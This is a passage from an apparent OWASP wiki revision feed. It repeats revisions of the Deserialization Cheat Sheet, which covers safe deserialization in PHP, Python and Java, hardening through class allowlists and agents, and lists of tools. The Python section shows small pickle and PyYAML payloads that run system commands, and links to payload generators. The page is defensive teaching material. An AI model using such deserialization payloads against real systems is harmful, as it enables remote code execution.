= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240693</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240693"/>
				<updated>2018-05-14T00:37:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are data members of an object that should never be controlled by end users during deserialization or exposed to users during serialization, they should be declared as [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
    ....&lt;br /&gt;
    ....&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240692</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240692"/>
				<updated>2018-05-14T00:36:11Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are data members of an object that should never be controlled by end users during deserialization or exposed to users during serialization, they should be declared as [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
For a class that defined as Serializable, the sensitive information variable should be declared as 'private transient'.&lt;br /&gt;
For example, the class myAccount, the variable 'profile' and 'margin' were declared as transient to avoid to be serialized.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
public class myAccount implements Serializable&lt;br /&gt;
{&lt;br /&gt;
    private transient double profit; // declared transient&lt;br /&gt;
    &lt;br /&gt;
    private transient double margin; // declared transient&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
